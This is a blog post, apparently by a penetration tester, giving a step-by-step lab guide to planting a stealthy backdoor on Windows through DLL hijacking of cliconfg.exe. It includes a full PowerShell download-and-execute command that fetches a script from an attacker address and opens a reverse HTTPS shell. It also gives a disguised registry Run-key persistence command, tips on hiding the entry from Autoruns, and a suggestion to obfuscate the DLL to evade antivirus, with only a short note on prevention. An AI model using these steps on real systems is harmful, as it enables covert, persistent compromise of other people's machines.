In this post, I will focus on maintaining access on a Windows machine after getting a shell. In my environment the user is a local administrator on the client machine.
The clue of creating a successful backdoor is to create something that is not to suspicious and that blends into everything else. In my lab environment, I am using an X64 version of Windows 7 as the victim and a Kali 2.0 linux vm as the attacker. In Windows, many applications are vulnerable to DLL-hijacking, even built-in executables. Details about DLL-hijacking is described in my previous post: http://msitpros.com/?p=2012 . My sneaky backdoor is going to leverage a DLL-hijacking vulnerability in the Windows executable named cliconfg.exe. If you start cliconfg.exe this GUI will pop-up:
I guess that most of you probably recognize it. If we run Promon while we start the executable and analyse what is happening, you will find that it’s trying to open a couple of DLL files that it does not find:
As you can see, the same happens even if you start the system32 variant of the executable or the Syswow64 version of it. Default in Windows if you type cliconfg.exe into the run box it will start the version in the system32 folder. What I want to do is to plant a malicious DLL file inside the SYSWOW64 folder that is named NTWDBLIB.dll and add an entry to the run in registry under HKLM. Let us do it. First we need to create our sexy sneaky backdoor using Metasploit/Armitage. I use Armitage since I like the GUI.
1.Fire up Kali linux and start Armitage.
2. Browse to payload – Windows – Exec and open it.
3. Fill in the command you want the backdoor to execute into the CMD parameter. In my case, this command: C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString(‘http://10.10.10.10/Invoke-shellcode.ps1’)) . The invoke-shellcode.ps1 is my modified version of the Powersploit invoke-shellcode.ps1 script. My modifications just include that the script is invoked and it starts a reverse https on port 8443 back to my attacker machine. Change the Output to DLL and hit launch. Save the DLL file as NTWDBLIB.dll on a convenient location.
4. Place the DLL file you just created into the SYSWOW64 folder of the client you are backdooring.
5. Run the following command on the victim through your shell: reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v “SQLClient Startup” /d c:\windows\syswow64\cliconfg.exe
The beauty of this is that the victim machine will execute the SYSWOW64\cliconfg.exe on startup, the executable will find our backdoor DLL file and execute it (SHELL BABY). Then the cliconfg.exe will crash and exit. When a user of the machine runs cliconfg.exe from the run box it starts up as expected. If you start autoruns and try to find the entry, it will not show by default since the executable is a Windows executable:
If I want to show the Windows entries then you uncheck “Options – Hide Windows entries”. The autoruns window will then look like this:
I still think that this does not look suspicious. Some antivirus software could possibly detect this due to the “signature” in the DLL file, but many does not focus on DLL files at all. If you want this to be even sneakier you could obfuscate the DLL using the VEIL framework or something. (I will leave this up to you J )
I have tested this briefly on Windows 10 and the DLL-hijack vulnerability seems to exist there as well.
The best way to prevent this, is to stop an attacker before he gets this far. It would also be much harder for the attacker if the user were not a local administrator. If the user is not a local admin, it is not possible to write files to SYSWOW64 without a Windows exploit that escalates privileges (none available at the moment as far as I know).
I have seen this technique mentioned more and more lately on blogposts regarding malware. As always this information is meant to make the world a better and a more secure place. Don’t use if for evil stuff. Anyways, happy backdooring J